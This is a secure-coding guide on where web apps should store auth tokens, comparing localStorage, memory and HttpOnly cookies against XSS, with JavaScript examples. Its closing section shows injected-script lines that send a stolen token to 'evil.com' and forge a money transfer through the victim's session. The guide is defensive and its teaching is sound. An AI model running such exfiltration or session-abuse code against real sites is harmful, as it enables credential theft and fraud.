Where to Store Tokens in a Browser
localStorage, sessionStorage, memory, cookies — ranked by what an XSS can do to each.
Every browser storage option is readable by JavaScript except one. Since the realistic threat is XSS — a script running on your own page — that single distinction drives the ranking.
| Location | Readable by JS | Survives reload | Auto-sent | Verdict |
|---|---|---|---|---|
localStorage | yes | yes | no | convenient, XSS-exposed |
sessionStorage | yes | per tab | no | same risk, smaller window |
| JS variable (memory) | only your code | no | no | best for access tokens |
HttpOnly cookie | no | yes | yes → CSRF | best for refresh tokens |
The pattern that works
- Access token in memory. A plain module-scoped variable. It dies on reload — which is fine, because you can silently mint a new one.
- Refresh token in an
HttpOnlycookie scoped toPath=/auth/refresh. XSS cannot read it. - On page load, call refresh once to restore the session. That is what replaces "persist the token in localStorage".
An XSS can still use the app as the victim while the page is open — nothing stops that. But it cannot walk away with a credential that works tomorrow, from another machine. That is the difference this pattern buys.
Why localStorage is so common anyway
Because it is one line and it survives reloads. If you use it, be honest about the trade: any XSS anywhere on your origin — including in a third-party analytics or ad script — can read and exfiltrate the token silently.
Never in these places
- URLs. Logged by servers, kept in history, leaked in
Referer. - Non-
HttpOnlycookies. All the CSRF exposure of a cookie, plus all the XSS exposure of localStorage. window.nameor a global. Readable by anything on the page.
Multiple tabs
Memory storage is per tab, so each tab refreshes independently. A BroadcastChannel can share a freshly minted token between tabs and stop them all hammering the refresh endpoint at once.
Example
// ❌ Survives reload — and survives being read by any injected script
localStorage.setItem('accessToken', token);
// ✅ Module-scoped variable: gone on reload, unreachable from another script's scope
let accessToken = null;
export const setToken = (t) => { accessToken = t; };
export const getToken = () => accessToken;
// The refresh token is set by the server and never touched by JS at all:
// Set-Cookie: rt=...; HttpOnly; Secure; SameSite=Strict; Path=/auth/refreshWhen to use it
- A compromised third-party analytics script cannot exfiltrate a durable credential because the access token lives in memory and the refresh token is HttpOnly.
- An app restores the user's session after a page refresh by calling /auth/refresh on boot rather than persisting a token to localStorage.
- Five open tabs share one freshly refreshed token over a BroadcastChannel instead of each firing its own refresh request.
More examples
A memory token store with cross-tab sharing
Refreshing 30 seconds early avoids the race where a token expires between the check and the server receiving the request.
let accessToken = null;
let expiresAt = 0;
let refreshing = null;
const channel = new BroadcastChannel('auth');
channel.onmessage = (e) => {
if (e.data?.type === 'token') ({ accessToken, expiresAt } = e.data);
if (e.data?.type === 'logout') { accessToken = null; expiresAt = 0; }
};
async function refresh() {
const res = await fetch('https://dfg.com/auth/refresh', {
method: 'POST', credentials: 'include', // sends the HttpOnly rt cookie
});
if (!res.ok) { accessToken = null; throw new Error('session_expired'); }
const { accessToken: t, expiresIn } = await res.json();
accessToken = t;
expiresAt = Date.now() + expiresIn * 1000;
channel.postMessage({ type: 'token', accessToken, expiresAt }); // share it
return t;
}
export async function getToken() {
if (accessToken && Date.now() < expiresAt - 30_000) return accessToken;
return (refreshing ??= refresh().finally(() => { refreshing = null; }));
}
export async function logout() {
await fetch('https://dfg.com/auth/logout', { method: 'POST', credentials: 'include' });
accessToken = null; expiresAt = 0;
channel.postMessage({ type: 'logout' }); // every tab logs out at once
}What an XSS gets, in each design
No storage choice survives XSS unharmed. The goal is to make the damage require the victim's live browser session instead of handing over a portable credential.
// Injected script running on your origin. What can it take?
// Design A — token in localStorage
fetch('https://evil.com/collect?t=' + localStorage.getItem('accessToken'));
// → a durable credential, usable from the attacker's own machine, for as
// long as the token lives. If it is a 30-day token, that is a 30-day breach.
// Design B — access token in memory, refresh in an HttpOnly cookie
fetch('https://evil.com/collect?t=' + localStorage.getItem('accessToken'));
// → null
document.cookie;
// → "" for the refresh cookie (HttpOnly)
// The attacker's remaining option in design B: use the session in place.
fetch('https://dfg.com/api/transfer', {
method: 'POST', credentials: 'include',
headers: { Authorization: 'Bearer ' + window.__store.getToken() },
body: JSON.stringify({ to: 'attacker', amount: 5000 }),
});
// → works while the page is open, and stops the moment the tab closes.
// Bounded and detectable, instead of silent and portable.
Discussion